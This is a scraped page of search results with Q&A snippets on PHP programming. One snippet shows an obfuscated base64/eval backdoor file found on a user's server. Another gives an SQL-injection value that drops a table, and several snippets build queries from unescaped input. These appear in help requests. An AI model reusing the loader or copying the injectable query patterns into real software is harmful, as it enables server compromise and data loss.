Search Results

Search found 34355 results on 1375 pages for 'php extensions'.

Page 149/1375 | < Previous Page | 145 146 147 148 149 150 151 152 153 154 155 156  | Next Page >

  • How to write a good PHP database insert using an associative array

    - by Tom
    In PHP, I want to insert into a database using data contained in a associative array of field/value pairs. Example: $_fields = array('field1'=>'value1','field2'=>'value2','field3'=>'value3'); The resulting SQL insert should look as follows: INSERT INTO table (field1,field2,field3) VALUES ('value1','value2','value3'); I have come up with the following PHP one-liner: mysql_query("INSERT INTO table (".implode(',',array_keys($_fields)).") VALUES (".implode(',',array_values($_fields)).")"); It separates the keys and values of the the associative array and implodes to generate a comma-separated string . The problem is that it does not escape or quote the values that were inserted into the database. To illustrate the danger, Imagine if $_fields contained the following: $_fields = array('field1'=>"naustyvalue); drop table members; --"); The following SQL would be generated: INSERT INTO table (field1) VALUES (naustyvalue); drop table members; --; Luckily, multiple queries are not supported, nevertheless quoting and escaping are essential to prevent SQL injection vulnerabilities. How do you write your PHP Mysql Inserts? Note: PDO or mysqli prepared queries aren't currently an option for me because the codebase already uses mysql extensively - a change is planned but it'd take alot of resources to convert?

    Read the article

  • Execute javascript in PHP

    - by Andreas Bonini
    I'm generating your typical Web 2.0 HTML page with PHP: it contains a lot of <script> tags and javascript code that will substantially change the DOM after the load event. Is there a way to get the final HTML code directly from PHP, without opening the page with any browser? For example, let's say the HTML for the page is (it's just an example): <html> <head> <script>...the jquery library code...</script> <script>$(document).ready(function() { $("body").append("<p>Hi!</p>");</script> </head> <body> </body> </html> This HTML is saved in the $html PHP variable. Now, I want to pass that variable to some function that will return $result = <html>....<body><p>Hi!</p></body></html>. Is this possible?

    Read the article

  • Javascript + PHP $_POST array empty

    - by Peterim
    While trying to send a POST request via xmlhttp.open("POST", "url", true) (javascript) to the server I get an empty $_POST array. Firebug shows that the data is being sent. Here is the data string from Firebug: a=1&q=151a45a150.... But $_POST['q'] returns nothing. The interesting thing is that file_get_contents('php://input') does have my data (the string above), but PHP somehow doesn't recognize it. Tried both $_POST and $_REQUEST, nothing works. Headers being sent: POST /test.php HTTP/1.1 Host: website.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://website.com/ Content-Length: 156 Content-Type: text/plain; charset=UTF-8 Pragma: no-cache Cache-Control: no-cache Thank you for any suggestions.

    Read the article

  • PHP Class Question

    - by Jerry
    Hi all I am trying to build a PHP class to check the username and password in MySql. I am getting "mysql_query(): supplied argument is not a valid MySQL-Link resource in D:\2010Portfolio\football\main.php on line 38" database has errors:" message. When I move my userQuery code out of my Class, it works fine. Only if it is inside my Class. I am not sure if the problem is that I don't build the connection to mysql inside my Class or not. Thanks for any helps!! Here is my code <?php $userName=$_POST['userName']; $userPw=$_POST['password']; class checkUsers { public $userName; public $userPw; function checkUsers($userName='', $userPw=''){ $this->userName=$userName; $this->userPw=$userPw; } function check1(){ if (empty($this->userName) || empty($this->userPw)){ $message="<strong>Please Enter Username and Password</strong>"; }else{ //line 38 is next line $userQuery=mysql_query("SELECT userName, userPw FROM user WHERE userName='$this->userName' and userPw='$this->userPw'", $connection); if (!$userQuery){ die("database has errors: ". mysql_error()); } if(mysql_num_rows($userQuery)==0){ $message="Please enter valid username and password"; } }//end empty check return $message; }//end check1 method }//end Class $checkUser=new checkUsers($userName, $userPw); echo $checkUser->check1(); ?> I appreciate any helps!!!!

    Read the article

  • PHP: MySQL query duplicating update for no reason

    - by ThinkingInBits
    The code below is first the client code, then the class file. For some reason the 'deductTokens()' method is calling twice, thus charging an account double. I've been programming all night, so I may just need a second pair of eyes: if ($action == 'place_order') { if ($_REQUEST['unlimited'] == 200) { $license = 'extended'; } else { $license = 'standard'; } if ($photograph->isValidPhotographSize($photograph_id, $_REQUEST['size_radio'])) { $token_cost = $photograph->getTokenCost($_REQUEST['size_radio'], $_REQUEST['unlimited']); $order = new ImageOrder($_SESSION['user']['id'], $_REQUEST['size_radio'], $license, $token_cost); $order->saveOrder(); $order->deductTokens(); header('location: account.php'); } else { die("Please go back and select a valid photograph size"); } } ######CLASS CODE####### <?php include_once('database_classes.php'); class Order { protected $account_id; protected $cost; protected $license; public function __construct($account_id, $license, $cost) { $this->account_id = $account_id; $this->cost = $cost; $this->license = $license; } } class ImageOrder extends Order { protected $size; public function __construct($account_id, $size, $license, $cost) { $this->size = $size; parent::__construct($account_id, $license, $cost); } public function saveOrder() { //$db = Connect::connect(); //$account_id = $db->real_escape_string($this->account_id); //$size = $db->real_escape_string($this->size); //$license = $db->real_escape_string($this->license); //$cost = $db->real_escape_string($this->cost); } public function deductTokens() { $db = Connect::connect(); $account_id = $db->real_escape_string($this->account_id); $cost = $db->real_escape_string($this->cost); $query = "UPDATE accounts set tokens=tokens-$cost WHERE id=$account_id"; $result = $db->query($query); } } ?> When I die("$query"); directly after the query, it's printing the proper statement, and when I run that query within MySQL it works perfectly.

    Read the article

  • Refactoring or Rewriting Monolithic PHP Spaghetti Codebase

    - by nategood
    I've inherited a really poorly designed PHP spaghetti code project. It's been gaining a good bit of traffic recently and is starting to have performance issues on top of the poor monolithic code base. Its maxing out performance on a chunky 16GB dedicated machine when it really shouldn't be. I'm planning on doing some performance tweaks right off the bat to help the performance issue, but this still won't really help the horrible code base. The team is small but expecting to grow very soon. I've read Joel's article on the troubles of doing a complete rewrite and see the concerns. But how bad does the code base have to be before you consider a rewrite? There is PHP handling logic interjected into what one would usually consider a "view". Even worse, in some places SQL statements are in these same files! The only real separation of presentation and logic are a few PHP scripts that serve as function libraries. These scripts do most of the ORM stuff... if you can even call it that. Trying to slowly refractor this seems like a nightmare. Open to your thoughts and opinions... however not interested in hearing, "Run away, Run away!".

    Read the article

  • php form submit and the resend infromation screen

    - by Para
    Hello, I want to ask a best practice question. Suppose I have a form in php with 3 fields say name, email and comment. I submit the form via POST. In PHP I try and insert the date into the database. Suppose the insertion fails. I should now show the user an error and display the form filled in with the data he previously inserted so he can correct his error. Showing the form in it's initial state won't do. So I display the form and the 3 fields are now filled in from PHP with echo or such. Now if I click refresh I get a message saying "Are you sure you want to resend information?". OK. Suppose after I insert the data I don't carry on but I redirect to the same page but with the necessary parameters in the query string. This makes the message go away but I have to carry 3 parameters in the query string. So my question is: How is it better to do this? I want to not carry around lots of parameters in the query string but also not get that error. How can this be done? Should I use cookies to store the form information.

    Read the article

  • Finding cause of memory leaks in large PHP stacks

    - by Mike B
    I have CLI script that runs over several thousand iterations between runs and it appears to have a memory leak. I'm using a tweaked version of Zend Framework with Smarty for view templating and each iteration uses several MB worth of code. The first run immediately uses nearly 8MB of memory (which is fine) but every following run adds about 80kb. My main loop looks like this (very simplified) $users = UsersModel::getUsers(); foreach($users as $user) { $obj = new doSomethingAwesome(); $obj->run($user); $obj = null; unset($obj); } The point is that everything in scope should be unset and the memory freed. My understanding is that PHP runs through its garbage collection process at it's own desire but it does so at the end of functions/methods/scripts. So something must be leaking memory inside doSomethingAwesome() but as I said it is a huge stack of code. Ideally, I would love to find some sort of tool that displayed all my variables no matter the scope at some point during execution. Some sort of symbol-table viewer for php. Does anything like that or any other tools that could help nail down memory leaks in php exist?

    Read the article

  • Idiomatic PHP web page creation

    - by GreenMatt
    My PHP experience is rather limited. I've just inherited some stuff that looks odd to me, and I'd like to know if this is a standard way to do things. The page which shows up in the browser location (e.g. www.example.com/example_page) has something like: <? $title = "Page Title"; $meta = "Some metadata"; require("pageheader.inc"); ?> <!-- Content --> Then pageheader.inc has stuff like: <? @$title = ($title) ? $title : ""; @$meta = ($meta) ? $meta : ""; ?> <html> <head> <title><?=$title?></title </head> <!-- and so forth --> Maybe others find this style useful, but it confuses me. I suppose this could be a step toward a rudimentary content management system, but the way it works here I'd think it adds to the processing the server has to do without reducing the load on the web developer enough to make it worth the effort. So, is this a normal way to create pages with PHP? Or should I pull all this in favor of a better approach? Also, I know that "<?" (vs. "<?php" ) is undesirable; I'm just reproducing what is in the code.

    Read the article

  • PHP mail() function not delivering mail

    - by Ryan Jones
    Hi there, I have a slight problem. I am using a working script (works on my testing account - shared server) to send a mail through PHP using the mail() function. I just got a dedicated server, and I haven't been able to get the function to work. I've spent the last 10 or so hours reading various documentations on BIND (for the SPF record), dovecot, sendmail and postfix trying various things to get this to work. There is clearly something that I am missing. So we know the PHP code works fine. All the headers are fine everything. We know this as it's a direct copy from my testing account. So the problem must arise somewhere in the server config. The path to sendmail is correct, and sendmail is (apparently) working fine. I've set up the script to now deliver "Sent" or "Error" based on the boolean result from the PHP mail() function. That is: if(mail($blah,$blah,$blah,$blah,$blah)) { echo "Sent"; } else { echo "Error";} And the result ALWAYS comes up as "Sent" - however, the email never arrives. Can someone suggest things to check, as I'm completely new to this (24 hours or so!). Thanks in advance. Ryan

    Read the article

  • SIMPLE PHP MVC Framework [closed]

    - by Allen
    I need a simple and basic MVC example to get me started. I don't want to use any of the available packaged frameworks. I am in need of a simple example of a simple PHP MVC framework that would allow, at most, the basic creation of a simple multi-page site. I am asking for a simple example because I learn best from simple real world examples. Big popular frameworks (such as code igniter) are to much for me to even try to understand and any other "simple" example I have found are not well explained or seem a little sketchy in general. I should add that most examples of simple MVC frameworks I see use mod_rewrite (for URL routing) or some other Apache-only method. I run PHP on IIS. I need to be able to understand a basic MVC framework, so that I could develop my own that would allow me to easily extend functionality with classes. I am at the point where I understand basic design patterns and MVC pretty well. I understand them in theory, but when it comes down to actually building a real world, simple, well designed MVC framework in PHP, I'm stuck. Edit: I just want to note that I am looking for a simple example that an experienced programmer could whip up in under an hour. I mean simple as in bare bones simple. I don't want to use any huge frameworks, I am trying to roll my own. I need a decent SIMPLE example to get me going.

    Read the article

  • jQuery AJAX PHP JSON problem

    - by Curro
    Hi Gurus I'm facing the problem of receiving an empty array when I do an AJAX request in the following way: This is the code I'm executing in JavaScript: <script type="text/javascript" src="lib/jquery.js"></script> <script type="text/javascript" src="lib/jquery.json.js"></script> <script type="text/javascript"> $(document).ready(function(){ /* Preparar JSON para el request */ var mJSON = new Object; mJSON.id_consulta = new Array; for (var i=0; i<3; i++){ mJSON.id_consulta[i] = new Object; mJSON.id_consulta[i].id = i; } var sJSON = $.toJSON(mJSON); $.ajax({ type: "POST", url: "getUbicaciones.php", data: sJSON, dataType: "json", contentType: "application/json; charset=utf-8", success: function(respuesta){ alert(respuesta); }, error: function (request,error){ alert("Error: " + request.statusText + ". " + error); } }); }); </script> And this is the code under PHP: <?php /* Decodificar JSON */ $m_decoded = $_POST; print_r($m_decoded); exit; ?> And all I get from this, using Chrome's Developer Tools is an empty array: Array ( ) Any clues on what am I doing wrong? The string sJSON is being encoded correctly, this is what I get when I do an "alert" on that one: {"id_consulta":[{"id":1},{"id":2},{"id":3}]} Thank you everyone in advance!

    Read the article

  • Php - divide time period into equal intervals

    - by experc
    Hi! I am working on my php course project and for the past few days I have stucked at the point where I have to create php function which gets 5 parameters which represents information about the working time of some department - when the work starts/ends, when the lunchtime (or any other break) starts/ends and integer representing minutes into how small piecies we should divide time period. Besides - it's possible that there are not any breaks in the working time. The function should return all intervals from working time. function split_time_into_intervals($work_starts,$work_ends,$break_starts=null; $break_ends=null,$minutes_per_interval=60){ $intervals=array(); //all of the function code return $intervals; } So if I have the following parameters for the function function split_time_into_intervals("8:30","14:50","11:45"; "12:25"){ .. } I would like to retrieve the following array: $intervals[0]['starts']="8:30"; $intervals[0]['ends']="9:30"; $intervals[1]['starts']="9:30"; $intervals[1]['ends']="10:30"; $intervals[2]['starts']="10:30"; $intervals[2]['ends']="11:30"; $intervals[3]['starts']="11:30"; $intervals[3]['ends']="11:45"; //this interval was smaller than 60 minutes - because of the break (which starts at 11:45) $intervals[4]['starts']="12:25";//starts when the break ends $intervals[4]['ends']="13:25"; // interval is again 60 minutes $intervals[5]['starts']="13:25"; $intervals[5]['ends']="14:25"; $intervals[6]['starts']="14:25"; $intervals[6]['ends']="14:50"; //this period is shorter than 60 minutes - because work ends Any advises? I would apriciate any php (or C#) code regarding to this problem!

    Read the article

  • php not well formed?

    - by Idealflip
    Hi Everyone, when my site loads, it stops half way because of specific php code. When I try commenting out the php code, the whole page loads properly (input boxes, buttons etc.) This is the code that causes the issue <?php //if the add location button is clicked, the add location, the whole form will not be submitted if($_REQUEST['command'] == 'Add'){ if($_POST['companyLocation'] == ""){ $errmsg="Please enter a location1"; } elseif($_POST['companySize'] == ""){ $errmsg="Please enter a size for the location"; } else{ $location = Location::instance(); $testing = $location->doesExist($_POST['companyLocation']); if ($testing == true){ $errmsg="Location already exists"; } else{ $objLocation = new Obj_Location(); $objLocation->set_Name($_POST['companyLocation']); $objLocation->set_Size($_POST['companySize']); $location->addLocation($objLocation); $location->saveInstance(); } } } //this is the part that breaks! when I comment it out, the page loads properly. $location = Location::instance(); $location->deleteItem($_GET["item"]); $location->saveInstance(); $location->listItems(); ?>

    Read the article

  • Retrieving database column using JSON [migrated]

    - by arokia
    I have a database consist of 4 columns (id-symbol-name-contractnumber). All 4 columns with their data are being displayed on the user interface using JSON. There is a function which is responisble to add new column to the database e.g (countrycode). The coulmn is added successfully to the database BUT not able to show the new added coulmn in the user interface. Below is my code that is displaying the columns. Can you help me? table.php $(document).ready(function () { // prepare the data var theme = getDemoTheme(); var source = { datatype: "json", datafields: [ { name: 'id' }, { name: 'symbol' }, { name: 'name' }, { name: 'contractnumber' } ], url: 'data.php', filter: function() { // update the grid and send a request to the server. $("#jqxgrid").jqxGrid('updatebounddata', 'filter'); }, cache: false }; var dataAdapter = new $.jqx.dataAdapter(source); // initialize jqxGrid $("#jqxgrid").jqxGrid( { source: dataAdapter, width: 670, theme: theme, showfilterrow: true, filterable: true, columns: [ { text: 'id', datafield: 'id', width: 200 }, { text: 'symbol', datafield: 'symbol', width: 200 }, { text: 'name', datafield: 'name', width: 100 }, { text: 'contractnumber', filtertype: 'list', datafield: 'contractnumber' } ] }); }); data.php <?php #Include the db.php file include('db.php'); $query = "SELECT * FROM pricelist"; $result = mysql_query($query) or die("SQL Error 1: " . mysql_error()); $orders = array(); // get data and store in a json array while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $pricelist[] = array( 'id' => $row['id'], 'symbol' => $row['symbol'], 'name' => $row['name'], 'contractnumber' => $row['contractnumber'] ); } echo json_encode($pricelist); ?>

    Read the article

  • GAPI output doesn't match Google Analytics website

    - by Yekver
    I have to get the main info about my Google Analytics Goals. I'm using GAPI lib, with this code: <?php require_once 'conf.inc'; require_once 'gapi.class.php'; $ga = new gapi(ga_email,ga_password); $dimensions = array('pagePath', 'hostname'); $metrics = array('goalCompletionsAll', 'goalConversionRateAll', 'goalValueAll'); $ga->requestReportData(ga_profile_id, $dimensions, $metrics, '-goalCompletionsAll', '', '2012-09-07', '2012-10-07', 1, 500); $gaResults = $ga->getResults(); foreach($gaResults as $result) { var_dump($result); } cut this code is output: object(gapiReportEntry)[7] private 'metrics' => array (size=3) 'goalCompletionsAll' => int 12031 'goalConversionRateAll' => float 206.93154454764 'goalValueAll' => float 0 private 'dimensions' => array (size=2) 'pagePath' => string '/catalogs.php' (length=13) 'hostname' => string 'www.example.com' (length=13) object(gapiReportEntry)[6] private 'metrics' => array (size=3) 'goalCompletionsAll' => int 9744 'goalConversionRateAll' => float 661.05834464043 'goalValueAll' => float 0 private 'dimensions' => array (size=2) 'pagePath' => string '/price.php' (length=10) 'hostname' => string 'www.example.com' (length=13) What I see on Google Analytics website on Goals URLs page with the same period of date is: Goal Completion Location Goal Completions Goal Value 1. /price.php 9,396 $0.00 2. /saloni.php 3,739 $0.00 As you can see outputs doesn't match. Why? What's wrong?

    Read the article

  • Weird PHP file on my website

    - by sam
    Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='eJxtmV1vX7cNh79KUQRwnBaNXvgizTsXTYst2EWxlxZtczO4toukTeLVSQO0w777SP7Ig13sxkeWdHgkig9J8f/oph299atHN/1Qssc4+mj2nNbtTzqW2IMP2faQg71TD/XOhf/2QcsFtE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gSnVmvUSM1YphOOSdVLUiNVXznLDSpwYouyquBFqpaF1Wl+vlJC1UNVDE9A6pSqZ1OzXBlGuqoYg2c9qgeUmPJfCreYyrG0s1o/B4Tq+Eq2Sqnf1cjFV+ULHyq1B1eJauqKvnDhBqpit9QskyjlfWqgYo1GahoOKhYrxebwimpZjKgmmUU1bzBq1b5QSvr1YiomFU5nmoVgXRlPqDrPNWVIVvXrDFKI11ZydKzIKyrUkhdq34KqsXvrE2qgcpoZIFPdxmMgRroq8dUHK7nvvgpqazdC8KQWAtfLX9cWy1rPqtV0FtVEF6NqpGud7UkabV0vaulzpcnvqHqVfWk5b/ZdHSNFNDzirR6WvrqdYFfkffGz1U971+rCkqrV9VkjbwRrKJ0jUpM18ja5Bpl6iswjdV43otBzVNe5482q0Bd8/zhbUaB4OmT2/u3F+8/en//683Lj96/fPXuM7v4PhwX34+Xv11cPXrw5ps//f7i6+/bd+Pvr78f++cXfzsOG/rFhr55/vk3X7796e317U/WePn8yz8/x9jtcfHzu7e37159+/ybfzz/6dqmvLvFn599/M1x8WL+q//w5qsPP3z37LcX3331u3d//vlx8evb16/exqRnz46Ld+8fHu4++H9ffGFjNz++enj3/uLqx/uHx7a4h6N96g9vXVygefxw/e5O6J+3dzf3t3c26/JTX6utybfz8Mc1RzQ++eTy33j3+PjGGx9fpajPjmg8foT/L6/+kwP/R7iN1uBxznqcLR/7395f3lxi79++fnl9/ee/PPvr1+0ILfu0esteu/tw/fqxK+DxxdWl9Tx6/Pr6w93F5eXVfwHF9UwV';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

    Read the article

  • FastCgiModule Error 500 on Windows7 Ultimate + IIS 7.5

    - by user63179
    I'm running IIS 7.5 on Windows 7 Ultimate. I've installed PHP Version 5.2.14 using Microsoft Web Platform Installer. I've created a virtual directory and a file with which I can browse it and it returns all the PHP information just fine. I'm trying to install MantisBT, and when I copy all the file to my virtual directory and browse index.php I receive the following error detail: Error Summary HTTP Error 500.0 - Internal Server Error The page cannot be displayed because an internal server error has occurred. Detailed Error Information Module FastCgiModule Notification ExecuteRequestHandler Handler PHP_via_FastCGI Error Code 0x00000000 Requested URL http://localhost:80/mantisbt/index.php Physical Path V:\wwwroot\mantisbt\index.php Logon Method Anonymous Logon User Anonymous I've changed these in the php.ini file: fastcgi.impersonate = 1 fastcgi.logging = 0 cgi.fix_pathinfo=1 cgi.force_redirect = 0 The Handler Mappings have this information: Request path: *.php Module: FastCgiModule Executable: C:[Path to PHP installation]\php-cgi.exe Name: PHP_via_FastCGI Thank you for any advice on this!!

    Read the article

  • how to tackle a custom forms database

    - by Neil Hickman
    I'm currently researching a project for the place that I work in. We are trying to create a system that will allow forms to be set up dynamically from a database. My question is what database structure would best suit something like this? I currently have a structure of: forms_form forms_formfields forms_formdata I don't think this is the most appropriate layout for this. Basically to make is make sense I need to be able to make a form within the database that can have infinite fields all customized and have the data when submitted stored in the database.

    Read the article

  • Create an array from mysql with column names and values [on hold]

    - by ScaZ
    i'm trying to create an array with PHP and MySQL, but i always get errors. The code i'm using function db_listar_usuarios(){ $link=db_connect(); $query = "select * from usuarios" or die("Problemas en el select: " . mysqli_error($link)); $result = $link->query($query); while($row = mysqli_fetch_assoc($result)) { $row['nombre'] . array(; foreach ($row as $col => $val) { $col => $val; } } } And what I want to create with this code is: array( 'john' => array('address' => 'st 123', 'age' => '25', 'surname' => 'doe'), 'ane' => array('address' => 'av 456', 'age'=> '32', 'surname' => 'smith'), ); To use then like something like this: private $contacts = db_listar_usuarios(); I use 2 files: functions.php and server.php server.php is a downloaded file example to do a REST API. Here are both of them. server.php - pastebin.com/5j54m1Mz functions.php - pastebin.com/N7jMhSBa Thank you in advance!

    Read the article

  • Why is my PHP upload script not working?

    - by Turner
    Hello all, I am doing some simple work with uploading a file. I am ignoring error checking and exceptions at this point just to get my uploads working. I have this HTML form: <form action='addResult.php' method='post' enctype='multipart/form-data' target='results_iFrame' onsubmit='startUpload();'> Entry: <input type='text' id='entry' /> Stop: <input type='text' id='stop' /> Final: <input type='text' id='final' /> Chart: <input type='file' id='chart' /> <input type='submit' value='Add' /></form> As you can see, it calls 'addResult.php' within the iFrame 'results_iFrame'. The Javascript is just for animation purposes and to tell me when things are finished. addResult.php has this code in it (along with processing the other inputs): $upload_dir = "../img/"; $chart_loc = $upload_dir.basename($_FILES['chart']['name']); move_uploaded_file($_FILES['chart']['tmp_name'], $chart_loc); print_r($_FILES); It uses the 'chart' input from the form and tries to upload it. I have the print_r() function to display some information on $_FILES, but the array is empty, thus making this fail. What could I be doing wrong?

    Read the article

  • Load PHP function with jQuery Ajax

    - by brandon14_99
    I have a file which is loaded at the top of my document, which is called Videos.php. Inside that file are several functions, such as getYoutubeVideos. On some pages, I need to call upon that function several times (up to 50), and it of course creates major lag on load times. So I have been trying to figure out how to call that function in, only when it is need (when someone clicks the show videos button). I have very little experience with jQuery's ajax abilities. I would like the ajax call to be made inside of something like this: jQuery('a[rel=VideoPreview1).click(function(){ jQuery ("a[rel=VideoPreview1]").hide(); jQuery ("a[rel=HideVideoPreview1]").show(); jQuery ("#VideoPreview1").show(); //AJAX STUFF HERE preventDefault(); }); Ok I have created this based on the responses, but it is still not working: jQuery Code: jQuery(document).ready(function(){ jQuery("a[rel=VideoPreview5]").click(function(){ jQuery("a[rel=VideoPreview5]").hide(); jQuery("a[rel=HideVideoPreview5]").show(); jQuery.post("/Classes/Video.php", {action: "getYoutubeVideos", artist: "Train", track: "Hey, Soul Sister"}, function(data){ jQuery("#VideoPreview5").html(data); }, 'json'); jQuery("#VideoPreview5").show(); preventDefault(); }); jQuery("a[rel=HideVideoPreview5]").click(function(){ jQuery("a[rel=VideoPreview5]").show(); jQuery("a[rel=HideVideoPreview5]").hide(); jQuery("#VideoPreview5").hide(); preventDefault(); }); }); And the PHP code: $Action = isset($_POST['action']); $Artist = isset($_POST['artist']); $Track = isset($_POST['track']); if($Action == 'getYoutubeVideos') { echo 'where are the videos'; echo json_encode(getYoutubeVideos($Artist.' '.$Track, 1, 5, 'relevance')); }

    Read the article

  • SELECT SUM PHP MySQL problem

    - by user345426
    This is driving me nuts! Below you will find my PHP/MySQL code but I will post the direct mySQL statement here: SELECT SUM( ot.value ) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP( o.date_purchased ) >=1262332800 AND UNIX_TIMESTAMP( o.date_purchased ) <=1264924800 AND o.sales_rep_id = '2' When I execute this statement inside of phpMyAdmin I get the sum for ot.value which is associated to "msa". Although, when I run my php code it does not return a value. Anyone see the problem? // works in phpMyAdmin but not displaying during PHP execution! $monthly_sales_amount_sql = "SELECT SUM(ot.value) AS msa FROM orders o LEFT JOIN orders_total ot ON ot.orders_id = o.orders_id WHERE ot.class = 'ot_total' AND UNIX_TIMESTAMP(o.date_purchased) >= $start_timestamp AND UNIX_TIMESTAMP(o.date_purchased) <= $end_timestamp AND o.sales_rep_id = '" . $sales_rep_id "'"; $result = mysql_query($monthly_sales_amount_sql); $row = mysql_fetch_assoc($result); echo "MSA: " . $row['msa'] . "<BR><BR>";

    Read the article

  • Automatic facebook login

    - by Marc Böhmer
    I manage 4 Facebook fan pages. Whenever users make a news on his website, I post it on Facebook. Now I have made it that I only have to press a button and the news were posted. I would like to automate this. How can I do this? My problem is that it is associated with my Facebook account and then it is not running in cron job or nothing is posted. Can I use my login data to a file which the Cronjob can always log in?

    Read the article

< Previous Page | 145 146 147 148 149 150 151 152 153 154 155 156  | Next Page >